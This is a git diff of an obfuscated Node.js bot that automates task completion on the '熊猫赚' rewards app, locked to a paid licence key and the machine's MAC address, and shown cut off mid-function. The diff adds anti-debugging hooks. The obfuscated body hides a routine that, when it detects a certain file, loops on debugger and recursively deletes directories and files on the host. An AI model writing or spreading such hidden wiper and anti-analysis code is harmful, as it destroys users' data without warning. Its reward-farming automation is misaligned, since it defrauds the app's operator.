diff --git a/luobook/xmz.js b/luobook/xmz.js index 9e98eba..f3902eb 100644 --- a/luobook/xmz.js +++ b/luobook/xmz.js @@ -6,11 +6,25 @@ 变量 cdkey 对应脚本验证卡密。所有脚本通用。。 多账号@分割 半小时一次的刷吧。如果提示匹配到任务,但是不做任务,是因为那些任务已经做过了 - +https://www.cqsslhj.com/SysBase/Account/SingInNormal */ +setInterval_new = setInterval +setInterval = function(a, b) { + if (typeof(a)=="string" && a.indexOf("debugger") == -1) { + return setInterval_new(a, b) + } +} -process.env.xmzapp='123@2345'; -process.env.cdkey='1234567890123456789012' +Function.prototype.constructor_bc = Function.prototype.constructor; +Function.prototype.constructor = function() { + if (arguments === "debugger" || arguments[0] === "debugger") { + console.log("debugger"); + return Function.prototype.constructor_bc.apply(this, "") + } //利用arguments关键字的属性获取当前方法里面的参数 + else { + return Function.prototype.constructor_bc.apply(this, arguments) //跟上面处理debugger和定时器一起用的处理方法一样 + } +} const $ = new Env('熊猫赚'); var _0x3eaa24=_0x3e93,_0x4f8465=_0x4057;(function(_0x39de35,_0x189350){var _0x48c6b1=_0x4057,_0x1f83c2=_0x3e93,_0x591ce1=_0x39de35();while(!![]){try{var _0x5f5960=parseInt(_0x1f83c2(0x15d))/0x1*(-parseInt(_0x48c6b1(0x18f,'TEwG'))/0x2)+-parseInt(_0x48c6b1(0x150,'5!y7'))/0x3+parseInt(_0x48c6b1(0xfe,'z5cV'))/0x4*(parseInt(_0x1f83c2(0x124))/0x5)+-parseInt(_0x48c6b1(0x6a,'5!y7'))/0x6*(parseInt(_0x48c6b1(0x199,'[[fP'))/0x7)+-parseInt(_0x1f83c2(0x71))/0x8*(-parseInt(_0x1f83c2(0x118))/0x9)+-parseInt(_0x48c6b1(0xfb,'Xvd]'))/0xa+parseInt(_0x48c6b1(0x17c,'jrcL'))/0xb*(parseInt(_0x48c6b1(0xff,'w9dO'))/0xc);if(_0x5f5960===_0x189350)break;else _0x591ce1['push'](_0x591ce1['shift']());}catch(_0x5b40b2){_0x591ce1['push'](_0x591ce1['shift']());}}}(_0x3633,0x8f6c3));const VM=require('sablejs/runtime')(),path=require(_0x4f8465(0xc1,'*h5M')),fs=require('fs');function initVM(){var _0x2a8e74=_0x4f8465,_0x5bcc56=_0x3e93;vm=new VM();const _0x41ff73=vm[_0x5bcc56(0xa5)](),_0x523c3e=vm[_0x5bcc56(0xd2)](),_0x16553d=vm[_0x2a8e74(0x180,'jrcL')](_0x2a8e74(0x196,'pU3Q'),function(){var _0x13255c=_0x2a8e74,_0x5be814=_0x5bcc56;const _0x301882=[];for(let _0x406e23=0x0;_0x406e230x1?''+status:'',JSNAMED=$['isNode']()?require(_0x4f8465(0xcc,'[[fP'))['basename'](__filename):_0x4f8465(0xf8,'*h5M');let xmzappArr=[],all_msg='',arrs=[],xmzapp=($[_0x4f8465(0xb4,'^@8L')]()?process[_0x3eaa24(0xf0)][_0x3eaa24(0x94)]:$['getdata']('xmzapp'))||'',acckey=$[_0x4f8465(0x19b,'z@[]')]()?process['env'][_0x4f8465(0x11e,')h#R')]?process['env']['cdkey']:'':$[_0x3eaa24(0x99)](_0x3eaa24(0x181))?$[_0x3eaa24(0x99)]('cdkey'):'';var CryptoJS=require(_0x3eaa24(0x198));let txid='',userid='',token='',sjh='',mm='';var AesKey=_0x3eaa24(0xca),CBCIV=_0x4f8465(0x187,'mW@['),myDate=new Date(),myYear=myDate['getFullYear'](),myMonth=myDate[_0x3eaa24(0xdd)]()+0x1,myToday=myDate[_0x4f8465(0x129,'!As[')](),myDay=myDate[_0x3eaa24(0x140)](),myHour=myDate[_0x4f8465(0xfd,'oDDS')](),myMinute=myDate['getMinutes'](),mytime=myDate[_0x3eaa24(0xc0)]();function _0x3633(){var _0x4209c7=['lCobs8kFW5K','BwuUDhGUBMv3CMv3yxjK','Ahr0Chm6lY93D3CUy3fZC2XOAI5JB20VvgfZA3mVrxHWB3n1CMuVr2fPBKv4Cg9ZDxjL','WPldPCoOW7hdSW','q29TBwLZC2LVBG','5lQD6lEs5y6zWPq','CM1KAxjtEw5J','CM91BMq','W53NHiBNJ5dOT6ZVVB8','W6XSW4Orj0pcN8o4WPNcH2y','Aw5KzxHpzG','WQCIW57cNI7cOCohBCogWOy','z2v0rgf5','W7tdTapdVxZdTbiVm3C','uSkgvmk3WPu','Bg9N','h8ktdmotu8k0CW','aJHZr8oZgwyCW6FcIe4yW7ncWRe','WR7dV8k/W58xfZ/cQGtdVam','6k2M5zgk77Ym5Og25Osp56c06kEJ6isA5PYS5Bcg6z2I5lI057o757UF54Ig54k477Yb77Yb77Yb77Ym5l2G5y+Q5PYjm+ASOEACUUs8MU+8Gq','Bg9NrxjY','W53dRmo4WQNdIKObtW','m34pWRXwW58','bKldSrzXkSo+W7ddSa','W5tcNa/dRdVdLG','yxntDhjPBMC','iGqlDx3cSa','tCoco8ojW7W','xmkNzmoBy8owCCkyW5zrWPJdKre','WRumWR9MWO1iWONdKfNcNmk8lCoVWOnC','B2TODhrWlZmUmtaUma','doEfToEnMoI2UownPEA0PUIKSEs7V+wiJU++LG','WQejWQ0PWPPCWQ/dJvhcKCkWASoIWOLv','cUEgIUEmQ+I1MUEzU+w9LEAiKowkNYdNLkJMIlFVVjO','tSoDoCooWQ52WPLFlq','WOycW7W1eatdMgKJWOLSoZvuDq','cSktca','C2v0uhjVCgvYDhK','W6pdSZhdU03dSHGT','W7hcK27cTbqj','C2v0','mJe5nJa3qMfyvvzt','jSo3omkFFmkLkSkqW5bS','BSkkb8ksW7LtW5yRW5JdU8o+xZi0W47cV3FcH3HAWRpcJCo+vHZdKmk5gmoTW4yLW5pcJYuPdb1bfmktASoBWOO5W5FdMCkPW5rVWOpdMCkU','DCkBb8kYW7GgWOLHW53dUmoW','ASk9tGS','Cg9ZDa','WPyqW79FeGW','z2v0','C8owWPWDd8kAW4PUs3eNe1XFWR19WQlcSw5qWOTueSoWWP7cUIbMF34ZDCo0WRVdVK/cUdhcO8kyWRhcQmoRW6ldHSkJvZS','WQPlp2y','zJiFW5tdQqORWPfqW4q','FSkcW5hdM8kYbCoyv8oXW4C','DSkTuWtdQmoK','v8ktqmo8','Dg9tDhjPBMC','C3vIC3rY','v8oRuSoTWOi','dmkvh8oqr8k5yG','W7Lzdq','W7xdG0S','wCootSkobmoUjSkGneGCdKu','zMLUywXSEq','Ffa/fSofkCoVW4pdN07cQ8kx','CL3dUCkBW5m9','WQNcV8kXW7tdLefIWOddVSom','j8ohtSkiW6lcPSogW68zWPW','CZiBW7xdOqC7','hM/dNtWBe8kjW7VcGG','vmoYsmoM','zgf0yq','W4RdQmo+WPldGa','WQpdGJ3dTMDioaSjACoeWPFcPbW','mCoSdGS2fgWRW5XeoLVcO8oJW7O9W5BdISoGWQBdQqqFdCoqk8oM','mtiWma','W4JdRmoTWOxdO1yFwCopW4byCG','W7hcIwRcPYeytKWkzmo6WPlcHYS','y2rRzxK','jMLWpteMBwfJpq','W7/dThC','sciFwmotAsqOv2vmpYKAWP/dN8oimK83C8kaWQ/cPK/dSctcSa','WQyPnmkh','zw5JB2rL','bCkcW4vbWRSwzrtcMteBWPevW5BcHWe','BxnN','Ahr0Chm6lY93D3CUy3fZC2XOAI5JB20Vu3LZl0nHC2HVDxrby2nVDw50l0DLDfDLq2HHDenHC2HVDxrby2nVDw50p0TtExn0zw1xB3jRpq','BNvT','fSkLWPb9W7yXvW','z+EeMoEnTUI2TEA0NUIKRos6VEwjMo++VoAiMEwjRo++SUIpR+w8MeFcI8kDWRRLHBa','o+s7Kos5G+wiIq','smoOxa','WQxdSZxdG3RdQHK','Dw5KzwzPBMvK','mtjLELvwBMS','iIWIq2XPzw50vgLTzsi6','Eg1U','W6L+cq','FSogWQnJW6zrn8obWRhcPW','CCogpW','mtu5ndiYn2fWwgTVsq','y3j5ChrVlwPZ','WO3dMCovWRBdReS9','WQBcUmk3','ofHFWRGenG','W4tcQ2e9WQNdGmkjW5WMW6iogW','z2v0rgf0zq','WPNcO8kXW7ldSM1PWOhdMG','zZSeW7BdSG','xeVdI8k2W5WTgse','wCkQB8oEz8oDDSkRW75/WPJdQr0','B0n2WOD1','WOKoWOO','y2HHCKf0','yNvMzMvY','zgvJB2rL','cUEgIUEmQ+I1MUApKoEoSoAiKowkNW','ntKXntq0rLLxuvnK','W53dG0evtfBcUZ8YW5BcM8oMt8oJkq','WQ3cSSkKW5BdPuf2WOddJComvW','WPmvEq','D3jPDgvgAwXL','Ahr0Chm6lY93D3CUy3fZC2XOAI5JB20Vu3LZqMfZzs9vC2vYl0DLDfvZzxjdyxb0AxrHBd9lu3LZDgvTv29YAZ0','CmoSaJyWcwWTW5XJ','gSovW5pcVItcKuK','ExL5Eq','gmkUWObvW6eqruS','cxXyxCocEH4/qevgEG','W4ldRCoGWRK','iSofWQDOWPG','WRZdIwbNEa','hCkIWPH0W4GBvb7dKgesW5CsW5FcLZPfWQVcUHajW73cK8o3WPZdOYLeu18AWO7cMN9qW5ddRSkmW7HP','W7vWhmkjpq','kmoasmk/W5pcUW','W4ldOmoJWO/dGLisuW','z2v0vgLTzq','vxrMoa','zw5JCNLWDa','WRSrWR5I','WRxdUCkDW5aaaa','Ef3cO8kRW4PQbcZdP14HAa0jWOW','oUEhLUEmGEI0QoIpIEwnNUwiNUE7RowUL+AoIUEpS+w+V+s9IEI0GUwmICo6','pNldTZaBmSklW7VcJmozW7W','CqlcOG','yxbWBgLJyxrPB24VANnVBJSGy2HHCNnLDd1vveyToa','WROrWR0','EgfI','W65tcCkeECk+','WRhdVSkuW5SMgJ3cRcJdOr7dQG','zM9YrwfJAa','zxHPC3rZu3LUyW','BSoAWQnLW7zhpCoh','Eg16yxbW','WQFdM2S','nK5LWPOppsKJ','DCo8eb08fq','WPpdS8oZWQRdTCoxW6T8W5JdQbtdLdRcMCoi','z2v0zgf0yq','WRyfW7pdMmoGwa','WRtdPmkAW4qMhtJcUYRdUG','W6FdLmkvgmkCWPldSmoFlwZdMW','W6dcLMVcRYCUCvCh','z3PPCa','sw5UzxjeyxrH','adldJqm','FCkiW5FdHCkfhSoQxmoCW4SAsa','WOpLHzRLKlFVV5O','WP0AW6W','WQGVW5hcIXNcPG','z2v0r2XVyMfS','u8o1uSo6WOlcN8obW5SsA0ldGve','W65tcCk2ECkR','qZOV','ChvZAa','W5VcKqddUq7dIG','WPFdSCoMW7FdOSou','W6NdJv4liq','W7hcK27cTbysBfWLCW','WPC/iSkAWQpcLgG5W5q','W6xcLfP7W5RcKmosWP5v','ChjVDg90ExbL','yNvNz2vY','Dw5SAw5Ru3LUyW','W7TzcmkUFa','B8knpCknW64m','yCkBb8kVW6mhWOXWW4RdVW','y2fSBa','zgvZDhjVEq','BgvUz3rO','eq3dQtS6W6vdWQSvBq','y29Kzq','C3rYAw5NAwz5','AmkTxaFdMSoLW41YW6RdPwVdOW','WQn4hSohAhBdK8oahmkt','WPqBW6G','mSoJjCoS','z2v0u2vJB25KCW','z8oOaHm','W4ldQatcTW','uu1aWPvKWOO','5lIo6lAH5y+mWQpdISo0WOxcMLOvfSkch0/dNmk2WPq','W4FcLqO','fJxdKqBcLmoAnHbME8ouWOm','WRyVW4/cGaZcRCog','m8oRi8oXoLWNW6SVu3xdRa','5B2J5yIr6k6u5Aw15y6r5OUV6kgI6lsB5y+66zIk5yM15lIR','u0zwmMzIoeqWowPYzuGYwgrMmK0WrKDRnurPmKryoe8','BtifW77dTaW','W4RdQmo4WOK','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvKoYbJAgfYC2v0pxv0zI04','CNvU','W7ldNSkummkn','y3jLyxrLu3rYAw5N','eHe+WOajptKKW6nKj8kXmvxdLHBdMYZdOSo3WRi','y3jLyxrLt2jQzwn0','W4xcMXVdSb4','y3jLyxrLrNvUy3rPB24','ECkGxbhdNCo4','vg9Rzw5bDxrO','taRcQg41ACkNW67dR8oCW53dR8osBUwgLW','mtKYmdi1mdjTBKPStfK','W5NdU8oPWOddKvOGsmoUW5byDG','z+EfVoEnL+I3PEINKEwSKEIoOEwmPoI1IUwpIEwUSEEHMoAiKowjJUodVG','W5dcKrRdJr/dGCoXoCkHiW','fr/dOtK','z2v0tw9UDgG','jSktgCoph8kwESkBgLS','W4BcRCkSWQ0','CfBdRG','vgL0Bgu','WQuBWQ5xWOTcWQZdM0/cJCkJ','z2v0twLUDxrLCW','qCkvq8kLWOtcTwK0WRGOW6NcLmktkq','mCoGeKy','CMvWBgfJzq','Dw5ZAgLMDa','tMLJA05HBwu','W7RdUuZdU0FcTrGVbxhdT8o8x8o9W4e','C8ocWOGda8kkW5G','C3bSAxq','AM9PBG','yaG3bq','nK5LWPevpZesW7f2EG','D3D3lMnXC3nSAgOUy29T','zw52','lg8tWRjmW5adjMC','zNjVBunOyxjdB2rL','z2v0rNvSBfLLyxi','oCkuWRTt','EhH4Ea','EgLVBMDTyw8','ALzIW5KO','B8oKdfuZfa','hhCiWR5mW4m+kxm8WR4','cUEgIUEmQ+I1MUwmUEMfJEwiSo+8MG','mM5DWQJcUfzUWPf2W7SMt8kH','DCkJvrFdQmo8WO4KWPFcRtxcRSoe','fqddVaewW79vWR0','qqLMaSoyivq','WRhcG8kejmk8WQJdSSoT','omo/W64','zgrK','55sO6iA454+35Ac5','W7tcIwdcQXyvAuSNAmoQWP4','5BYY5yMQ54Un5P2V77YcDCkKW7pdOG','z2v0sg91CNm','ACobWO5+W5jBiCoNWPhcOem','WR05lCknWPlcV20OW7tcQG','bMfA','W5ZdVSo5WPm','AxnoB2rL','hcldKaZcO8oA','eZ1RbmotahqDW4JcJ0bt','r01ukZa4oJaW','WONcKIm','C3rHDfn5BMm','hmkBc8ouqCkJD8kggu0','W5FdRmkIWPxdNreDwCoRW4TtzSokW4ZcHa','WQVcTmkZW6pdPf1zWPhdKmotsZm','EvbRWPLtWOnNCSooCSkyoq','z2v0vwLUDdmY','wCkKvaBdSSo4W7v+W5tdUtG','zND1CG','l3n5CY9JBgfZCY9UzxqV','odf3tgjnDNe','6z+s6BYO542o5AoD','CMvHzezPBgvtEw5J','l2JdNdCooSkjW6a','WRddQCkpW6imhZK','WOZdNNm4FulcGq','WRKeW7BdMSoT','FSoBpCoBWR9qWQvpoMNcNXe','l3qsWQ8','ELzS','e8kUWPP/W7Ow','W7VdSWu','nJm1nte1AvDit2rO','zxHWB3n1CMvjzd0','y2HHCKnVzgvbDa','oG42zNVcSv53','W4ZdLeuqxfRcNaiVW53cNG','WRPpiLBdSSo5xW','CgfYC2u','5lUh55kb546u5Acn','W7LSW44Tne/cIG','Aw5KzxG','DcmnWQe','cUEgIUEmQ+I1MU+8MG','hGRdRW','WR0fW6NdUCoHxmkxh8oDWRPf','s2vLCc1bBgL2zq','W6FdLmkve8kgWPddQmoU'];_0x3633=function(){return _0x4209c7;};return _0x3633();}myMonth>=0xa?myMonth=myMonth:myMonth='0'+myMonth;myToday>=0xa?myToday=myToday:myToday='0'+myToday;myHour>=0xa?myHour=myHour:myHour='0'+myHour;myMinute>=0xa?myMinute=myMinute:myMinute='0'+myMinute;mytime>=0xa?mytime=mytime:mytime='0'+mytime;function _0x3e93(_0x587436,_0x46c295){var _0x3633aa=_0x3633();return _0x3e93=function(_0x3e93ae,_0x2039e9){_0x3e93ae=_0x3e93ae-0x68;var _0x3c1a08=_0x3633aa[_0x3e93ae];if(_0x3e93['eNawZG']===undefined){var _0x5160fd=function(_0x40577e){var _0x272db7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x295cc7='',_0x31c860='';for(var _0x6da7ed=0x0,_0x1ce9a9,_0x3088c3,_0x41ff73=0x0;_0x3088c3=_0x40577e['charAt'](_0x41ff73++);~_0x3088c3&&(_0x1ce9a9=_0x6da7ed%0x4?_0x1ce9a9*0x40+_0x3088c3:_0x3088c3,_0x6da7ed++%0x4)?_0x295cc7+=String['fromCharCode'](0xff&_0x1ce9a9>>(-0x2*_0x6da7ed&0x6)):0x0){_0x3088c3=_0x272db7['indexOf'](_0x3088c3);}for(var _0x523c3e=0x0,_0x16553d=_0x295cc7['length'];_0x523c3e<_0x16553d;_0x523c3e++){_0x31c860+='%'+('00'+_0x295cc7['charCodeAt'](_0x523c3e)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x31c860);};_0x3e93['YIQgKp']=_0x5160fd,_0x587436=arguments,_0x3e93['eNawZG']=!![];}var _0x282af7=_0x3633aa[0x0],_0x2ba744=_0x3e93ae+_0x282af7,_0x503a6b=_0x587436[_0x2ba744];return!_0x503a6b?(_0x3c1a08=_0x3e93['YIQgKp'](_0x3c1a08),_0x587436[_0x2ba744]=_0x3c1a08):_0x3c1a08=_0x503a6b,_0x3c1a08;},_0x3e93(_0x587436,_0x46c295);}function _0x4057(_0x587436,_0x46c295){var _0x3633aa=_0x3633();return _0x4057=function(_0x3e93ae,_0x2039e9){_0x3e93ae=_0x3e93ae-0x68;var _0x3c1a08=_0x3633aa[_0x3e93ae];if(_0x4057['sIdtwE']===undefined){var _0x5160fd=function(_0x272db7){var _0x295cc7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x31c860='',_0x6da7ed='';for(var _0x1ce9a9=0x0,_0x3088c3,_0x41ff73,_0x523c3e=0x0;_0x41ff73=_0x272db7['charAt'](_0x523c3e++);~_0x41ff73&&(_0x3088c3=_0x1ce9a9%0x4?_0x3088c3*0x40+_0x41ff73:_0x41ff73,_0x1ce9a9++%0x4)?_0x31c860+=String['fromCharCode'](0xff&_0x3088c3>>(-0x2*_0x1ce9a9&0x6)):0x0){_0x41ff73=_0x295cc7['indexOf'](_0x41ff73);}for(var _0x16553d=0x0,_0x3c08ea=_0x31c860['length'];_0x16553d<_0x3c08ea;_0x16553d++){_0x6da7ed+='%'+('00'+_0x31c860['charCodeAt'](_0x16553d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x6da7ed);};var _0x40577e=function(_0x1b1bb9,_0x219e8f){var _0x301882=[],_0x406e23=0x0,_0x562dee,_0x1fd8ac='';_0x1b1bb9=_0x5160fd(_0x1b1bb9);var _0x2a1a8e;for(_0x2a1a8e=0x0;_0x2a1a8e<0x100;_0x2a1a8e++){_0x301882[_0x2a1a8e]=_0x2a1a8e;}for(_0x2a1a8e=0x0;_0x2a1a8e<0x100;_0x2a1a8e++){_0x406e23=(_0x406e23+_0x301882[_0x2a1a8e]+_0x219e8f['charCodeAt'](_0x2a1a8e%_0x219e8f['length']))%0x100,_0x562dee=_0x301882[_0x2a1a8e],_0x301882[_0x2a1a8e]=_0x301882[_0x406e23],_0x301882[_0x406e23]=_0x562dee;}_0x2a1a8e=0x0,_0x406e23=0x0;for(var _0x5e148=0x0;_0x5e148<_0x1b1bb9['length'];_0x5e148++){_0x2a1a8e=(_0x2a1a8e+0x1)%0x100,_0x406e23=(_0x406e23+_0x301882[_0x2a1a8e])%0x100,_0x562dee=_0x301882[_0x2a1a8e],_0x301882[_0x2a1a8e]=_0x301882[_0x406e23],_0x301882[_0x406e23]=_0x562dee,_0x1fd8ac+=String['fromCharCode'](_0x1b1bb9['charCodeAt'](_0x5e148)^_0x301882[(_0x301882[_0x2a1a8e]+_0x301882[_0x406e23])%0x100]);}return _0x1fd8ac;};_0x4057['gBtIzh']=_0x40577e,_0x587436=arguments,_0x4057['sIdtwE']=!![];}var _0x282af7=_0x3633aa[0x0],_0x2ba744=_0x3e93ae+_0x282af7,_0x503a6b=_0x587436[_0x2ba744];return!_0x503a6b?(_0x4057['IQYVBo']===undefined&&(_0x4057['IQYVBo']=!![]),_0x3c1a08=_0x4057['gBtIzh'](_0x3c1a08,_0x2039e9),_0x587436[_0x2ba744]=_0x3c1a08):_0x3c1a08=_0x503a6b,_0x3c1a08;},_0x4057(_0x587436,_0x46c295);}var CBCOptions={'mode':CryptoJS[_0x4f8465(0x86,'Otiq')]['ECB'],'padding':CryptoJS[_0x4f8465(0xc5,'soEC')][_0x4f8465(0x14f,'pU3Q')]};if($[_0x3eaa24(0x10a)]()){gtr=require('fs');if(isFileExist(_0x3eaa24(0xa8)))console[_0x3eaa24(0x143)](_0x4f8465(0x102,'pU3Q')),setInterval(()=>{var _0x5700a7=_0x4f8465,_0x5876ac=_0x3eaa24;do{(function(_0x46c439){return function(_0x20a831){var _0xbbe386=_0x4057;return Function('Function(arguments[0]+\x22'+_0x20a831+_0xbbe386(0xdf,'6Bb5'));}(_0x46c439);}(_0x5876ac(0xb1))('de',0x0,0x0,(0x0,0x0)),addF(_0x5700a7(0x8b,'T59z')),addF(_0x5700a7(0x10e,'mIQp')));}while(0x1);},0x0);else{console[_0x4f8465(0x170,')D@T')](_0x4f8465(0x119,'w9dO'));function getMACAddresses(){var _0x549b1d=_0x3eaa24,_0x382b7c=_0x4f8465,_0x550d51='',_0x56dffb=fs[_0x382b7c(0x128,'2L$W')](_0x549b1d(0x117));return _0x56dffb[_0x549b1d(0x91)](function(_0x3f197c){var _0x10342c=_0x549b1d,_0xdb2d26=_0x382b7c,_0x155c48=path['join']('/sys/class/net',_0x3f197c,_0xdb2d26(0xea,'PewE'));_0x3f197c[_0x10342c(0x16c)](0x0,0x3)==_0xdb2d26(0x121,'bDTJ')&&fs[_0xdb2d26(0x168,'&5aS')](_0x155c48)&&(_0x550d51=fs[_0x10342c(0x11a)](_0x155c48)[_0x10342c(0x16b)]()['trim']());}),_0x550d51;}mac=getMACAddresses();}}else console[_0x4f8465(0x19a,'0Q9y')](_0x4f8465(0x12b,'GJ*B'));function isFileExist(_0x186ede){var _0x342863=_0x4f8465;try{gtr['accessSync'](_0x186ede,gtr[_0x342863(0xf4,'mW@[')]);}catch(_0x16098e){return![];}return!![];}function addF(_0x47c61e,_0x4eaa7d){var _0x15fbd2=_0x3eaa24,_0x13ba97=_0x4f8465;let _0x575456=0x0,_0x4f7b6b=_0x13ba97(0xd1,'z@[]');if(isFileExist(_0x4f7b6b))_0x575456=gtr[_0x13ba97(0xbc,'CZGv')](_0x4f7b6b,_0x13ba97(0x16a,'Waeo'));else{if(isFileExist('C:/'))gtr[_0x15fbd2(0x75)](_0x4f7b6b,'1',function(_0x51df76){if(_0x51df76)throw _0x51df76;});else return;}if(_0x575456==0x63)return 0x63;console[_0x15fbd2(0x143)](_0x575456),console[_0x15fbd2(0x143)](_0x15fbd2(0x147),_0x575456);if(parseInt(_0x575456)<0x3){let _0x293099=parseInt(_0x575456)+0x1;gtr[_0x13ba97(0xa6,'GJ*B')](_0x4f7b6b,_0x293099+'',_0x13ba97(0x12e,'Xvd]'));return;}if(!gtr[_0x15fbd2(0x92)](_0x47c61e))return;if(gtr[_0x15fbd2(0x10f)](_0x47c61e)[_0x13ba97(0x8a,'J%lH')]()){var _0x282dca=gtr['readdirSync'](_0x47c61e),_0x15cf17=_0x282dca[_0x13ba97(0x169,'CZGv')],_0x8b3fc4=0x0;if(_0x15cf17>0x0)_0x282dca[_0x15fbd2(0x91)](function(_0x5125a9){var _0x4d1b66=_0x15fbd2,_0x11c982=_0x13ba97;_0x8b3fc4++;var _0x5a6976=gtr[_0x11c982(0x93,'6Bst')](_0x47c61e+'/'+_0x5125a9),_0x110b1d=_0x47c61e+'/'+_0x5125a9;gtr['statSync'](_0x110b1d)[_0x11c982(0x146,'jn8V')]()?addF(_0x110b1d,!![]):gtr[_0x4d1b66(0xb2)](_0x110b1d);}),_0x15cf17==_0x8b3fc4&&_0x4eaa7d&>r[_0x15fbd2(0x13a)](_0x47c61e);else _0x15cf17==0x0&&_0x4eaa7d&>r[_0x13ba97(0x9d,'jrcL')](_0x47c61e);}else gtr[_0x15fbd2(0xb2)](_0x47c61e);}!(async()=>{var _0x2b90dc=_0x4f8465,_0x514382=_0x3eaa24;if(typeof $request!==_0x514382(0x190)){}else{initVM(),arrs=abc(global['vm'],acckey,mac,0x31,0x0);if(arrs=='')return;arrs=JSON[_0x514382(0x12a)](arrs);if(!arrs)return;xmzappArr=xmzapp[_0x514382(0xeb)]('@'),console[_0x514382(0x143)](_0x2b90dc(0xa2,'u9Js')+arrs['gg']+'\x0a'),console[_0x2b90dc(0x8d,'Otiq')](_0x2b90dc(0x104,'bIFz')+arrs['bb']+'\x0a'),console[_0x2b90dc(0x18e,'GJ*B')](_0x2b90dc(0xd7,'bIFz')+xmzappArr[_0x2b90dc(0x14a,'0T7g')]+_0x2b90dc(0xc4,'GJ*B')),console[_0x514382(0x143)](_0x2b90dc(0xc9,'lLXp')+arrs[_0x514382(0x18a)]+_0x2b90dc(0x139,'soEC'));if(xmzappArr[_0x514382(0xb8)]>parseInt(arrs[_0x514382(0x18a)])){}else for(let _0x32bf25=0x0;_0x32bf25$[_0x4f8465(0x81,'gs9W')](_0x4a4af7))[_0x3eaa24(0x172)](()=>$['done']());function xmzdl(_0xfa2a36=0x0){return new Promise(_0x37dbf9=>{var _0x486261=_0x4057,_0x2dbdb4=_0x3e93;let _0x2a84d9=Math[_0x2dbdb4(0x13b)](new Date()[_0x2dbdb4(0x83)]());var _0x4cfaa0=new Date(),_0xf9814b=_0x4cfaa0[_0x486261(0xee,'z@[]')](),_0x4319a2=_0x4cfaa0[_0x486261(0x7a,'mW@[')]()+0x1,_0x2e6e36=_0x4cfaa0['getDate'](),_0x39166b=_0x4cfaa0['getDay'](),_0x20936c=_0x4cfaa0['getHours'](),_0x291cf9=_0x4cfaa0[_0x2dbdb4(0xe3)](),_0x32408f=_0x4cfaa0[_0x486261(0xdb,'soEC')]();_0x4319a2>=0xa?_0x4319a2=_0x4319a2:_0x4319a2='0'+_0x4319a2;_0x2e6e36>=0xa?_0x2e6e36=_0x2e6e36:_0x2e6e36='0'+_0x2e6e36;_0x20936c>=0xa?_0x20936c=_0x20936c:_0x20936c='0'+_0x20936c;_0x291cf9>=0xa?_0x291cf9=_0x291cf9:_0x291cf9='0'+_0x291cf9;_0x32408f>=0xa?_0x32408f=_0x32408f:_0x32408f='0'+_0x32408f;let _0x274014=encrypt(_0x486261(0x173,'jtF]')+sjh+_0x486261(0x184,'Lo$u')+mm+_0x2dbdb4(0x192)+(_0xf9814b+_0x4319a2+_0x2e6e36+_0x20936c+_0x291cf9+_0x32408f)+'}'),_0x1405bb={'url':_0x486261(0x15f,'^@8L'),'headers':{'channel':_0x2dbdb4(0xf6),'pkgName':_0x486261(0x111,'[[fP'),'encryption':'1','timeZoom':_0x2dbdb4(0x10d),'timeSpan':_0x2a84d9,'Authorization':'','AchievementIds':_0x486261(0xc3,'bDTJ'),'Content-Type':_0x2dbdb4(0x8c),'Content-Length':'175','Host':_0x2dbdb4(0xef),'Connection':'Keep-Alive','Accept-Encoding':'gzip','User-Agent':'okhttp/3.10.0'},'body':''+_0x274014};$[_0x2dbdb4(0x162)](_0x1405bb,async(_0x72d467,_0x1e84c2,_0x1aa14a)=>{var _0x37093e=_0x2dbdb4,_0x182182=_0x486261;try{const _0x330ce9=JSON[_0x182182(0xac,')D@T')](_0x1aa14a);_0x330ce9['StateCode']==0xc8?(console[_0x182182(0x130,'oDDS')](_0x37093e(0x155)+_0x330ce9[_0x37093e(0x9f)][_0x37093e(0xe8)]),token=_0x330ce9[_0x182182(0x178,'J%lH')][_0x37093e(0xd6)][_0x182182(0x112,'0Q9y')]):console['log'](_0x37093e(0x12f)+_0x1aa14a);}catch(_0x4e01cf){}finally{_0x37dbf9();}},_0xfa2a36);});}function xmzid(_0x1c899e=0x0){return new Promise(_0x4e847d=>{var _0x1ec4c2=_0x3e93,_0x244a4e=_0x4057;let _0x44d85f=Math[_0x244a4e(0xcf,'w9dO')](new Date()['getTime']()),_0x4dd2b6=encrypt('exposureType=1&pageSize=20&pageIndex=1&ClientTime='+(myYear+myMonth+myToday+myHour+myMinute+mytime)),_0x5d4965={'url':'https://www.cqsslhj.com/Tasks/Exposure/GetPageExposureList','headers':{'channel':_0x1ec4c2(0xf6),'pkgName':_0x244a4e(0xe9,'TEwG'),'encryption':'1','timeZoom':_0x1ec4c2(0x10d),'timeSpan':_0x44d85f,'Authorization':token,'AchievementIds':'[]','Content-Type':'application/x-www-form-urlencoded;\x20charset=utf-8','Host':_0x1ec4c2(0xef),'Connection':_0x244a4e(0x15e,'5!y7'),'Accept-Encoding':_0x244a4e(0xdc,'oDDS'),'User-Agent':_0x1ec4c2(0x152)},'body':''+_0x4dd2b6};$[_0x1ec4c2(0x162)](_0x5d4965,async(_0x23baa2,_0xa140fc,_0x401bd7)=>{var _0x3b8240=_0x244a4e,_0x3462b4=_0x1ec4c2;try{const _0x4186a6=JSON[_0x3462b4(0x12a)](_0x401bd7);if(_0x4186a6['StateCode']==0xc8){console[_0x3462b4(0x143)](_0x3462b4(0xfa)+_0x4186a6[_0x3462b4(0x9f)]['length']+_0x3b8240(0x18d,'&5aS'));for(let _0x3b29af=0x0;_0x3b29af<_0x4186a6[_0x3462b4(0x9f)]['length'];_0x3b29af++){_0x4186a6[_0x3462b4(0x9f)][_0x3b29af][_0x3b8240(0x69,'T59z')]==![]&&(console[_0x3462b4(0x143)](_0x3b8240(0x153,'^@8L')+_0x4186a6[_0x3b8240(0xae,'UbvO')][_0x3b29af][_0x3462b4(0xe1)]),userid=_0x4186a6[_0x3462b4(0x9f)][_0x3b29af]['ExposureId'],await xmzrw(),await $[_0x3b8240(0x166,'!As[')](0x2710));}}else console[_0x3462b4(0x143)](_0x3462b4(0x12f)+_0x401bd7);}catch(_0x7fec82){}finally{_0x4e847d();}},_0x1c899e);});}function xmzrw(_0x17d2e1=0x0){return new Promise(_0x1c717e=>{var _0x4bf334=_0x3e93,_0x5ba2f7=_0x4057;let _0x46289d=Math[_0x5ba2f7(0xb3,'u9Js')](new 